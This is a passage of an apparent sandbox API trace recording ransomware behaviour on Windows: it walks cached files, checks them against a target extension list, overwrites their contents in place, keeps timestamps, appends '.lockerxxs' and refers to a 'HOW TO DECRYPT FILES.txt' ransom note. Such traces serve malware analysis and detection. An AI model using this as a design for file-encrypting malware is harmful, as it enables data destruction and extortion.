Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qba") returned 0 [0084.298] lstrlenA (lpString="*.qba") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qby") returned 0 [0084.298] lstrlenA (lpString="*.qby") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbj") returned 0 [0084.298] lstrlenA (lpString="*.qbj") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.ofx") returned 0 [0084.298] lstrlenA (lpString="*.ofx") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qif") returned 0 [0084.298] lstrlenA (lpString="*.qif") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.mye") returned 0 [0084.298] lstrlenA (lpString="*.mye") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.mbox") returned 0 [0084.298] lstrlenA (lpString="*.mbox") returned 6 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.eml") returned 0 [0084.298] lstrlenA (lpString="*.eml") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.pst") returned 0 [0084.298] lstrlenA (lpString="*.pst") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.ost") returned 0 [0084.299] lstrlenA (lpString="*.ost") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.idx") returned 0 [0084.299] lstrlenA (lpString="*.idx") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.dbx") returned 0 [0084.299] lstrlenA (lpString="*.dbx") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.sql") returned 0 [0084.299] lstrlenA (lpString="*.sql") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.mdb") returned 0 [0084.299] lstrlenA (lpString="*.mdb") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.fdb") returned 0 [0084.299] lstrlenA (lpString="*.fdb") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.wab") returned 0 [0084.299] lstrlenA (lpString="*.wab") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.dat") returned 0 [0084.299] lstrlenA (lpString="*.dat") returned 5 [0084.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.txt") returned 0 [0084.299] lstrlenA (lpString="*.txt") returned 5 [0084.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.jpeg") returned 0 [0084.300] lstrlenA (lpString="*.jpeg") returned 6 [0084.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.jpg") returned 1 [0084.300] lstrlenA (lpString="*.jpg") returned 5 [0084.300] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" [0084.300] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" [0084.300] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg." [0084.300] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.lockerxxs" [0084.300] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.301] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7fd [0084.301] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52ec0b10, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.301] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.301] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7d7, lpOverlapped=0x0) returned 1 [0084.303] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg") returned="BBC0g7a[1].jpg" [0084.303] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.303] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7d7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7d7, lpOverlapped=0x0) returned 1 [0084.303] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.304] CloseHandle (hObject=0xa4) returned 1 [0084.304] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg.lockerxxs")) returned 1 [0084.305] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x82f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0lf2[1].jpg", cAlternateFileName="BBC0LF~1.JPG")) returned 1 [0084.305] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.305] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0lf2[1].jpg") returned 1 [0084.305] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0lf2[1].jpg") returned 1 [0084.305] lstrcmpiA (lpString1="", lpString2="BBC0lf2[1].jpg") returned -1 [0084.305] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg") returned="BBC0g7a[1].jpg" [0084.305] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.305] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.305] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.305] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.305] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC0lf2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" [0084.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.ems") returned 0 [0084.305] lstrlenA (lpString="*.ems") returned 5 [0084.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.db") returned 0 [0084.305] lstrlenA (lpString="*.db") returned 4 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.dbf") returned 0 [0084.306] lstrlenA (lpString="*.dbf") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.myox") returned 0 [0084.306] lstrlenA (lpString="*.myox") returned 6 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.myo") returned 0 [0084.306] lstrlenA (lpString="*.myo") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbw") returned 0 [0084.306] lstrlenA (lpString="*.qbw") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbb") returned 0 [0084.306] lstrlenA (lpString="*.qbb") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbm") returned 0 [0084.306] lstrlenA (lpString="*.qbm") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbo") returned 0 [0084.306] lstrlenA (lpString="*.qbo") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbx") returned 0 [0084.306] lstrlenA (lpString="*.qbx") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qba") returned 0 [0084.306] lstrlenA (lpString="*.qba") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qby") returned 0 [0084.306] lstrlenA (lpString="*.qby") returned 5 [0084.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qbj") returned 0 [0084.306] lstrlenA (lpString="*.qbj") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.ofx") returned 0 [0084.307] lstrlenA (lpString="*.ofx") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.qif") returned 0 [0084.307] lstrlenA (lpString="*.qif") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.mye") returned 0 [0084.307] lstrlenA (lpString="*.mye") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.mbox") returned 0 [0084.307] lstrlenA (lpString="*.mbox") returned 6 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.eml") returned 0 [0084.307] lstrlenA (lpString="*.eml") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.pst") returned 0 [0084.307] lstrlenA (lpString="*.pst") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.ost") returned 0 [0084.307] lstrlenA (lpString="*.ost") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.idx") returned 0 [0084.307] lstrlenA (lpString="*.idx") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.dbx") returned 0 [0084.307] lstrlenA (lpString="*.dbx") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.sql") returned 0 [0084.307] lstrlenA (lpString="*.sql") returned 5 [0084.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.mdb") returned 0 [0084.308] lstrlenA (lpString="*.mdb") returned 5 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.fdb") returned 0 [0084.308] lstrlenA (lpString="*.fdb") returned 5 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.wab") returned 0 [0084.308] lstrlenA (lpString="*.wab") returned 5 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.dat") returned 0 [0084.308] lstrlenA (lpString="*.dat") returned 5 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.txt") returned 0 [0084.308] lstrlenA (lpString="*.txt") returned 5 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.jpeg") returned 0 [0084.308] lstrlenA (lpString="*.jpeg") returned 6 [0084.308] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", pszSpec="*.jpg") returned 1 [0084.308] lstrlenA (lpString="*.jpg") returned 5 [0084.308] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" [0084.308] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" [0084.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg." [0084.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.lockerxxs" [0084.308] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.310] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x82f [0084.310] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: 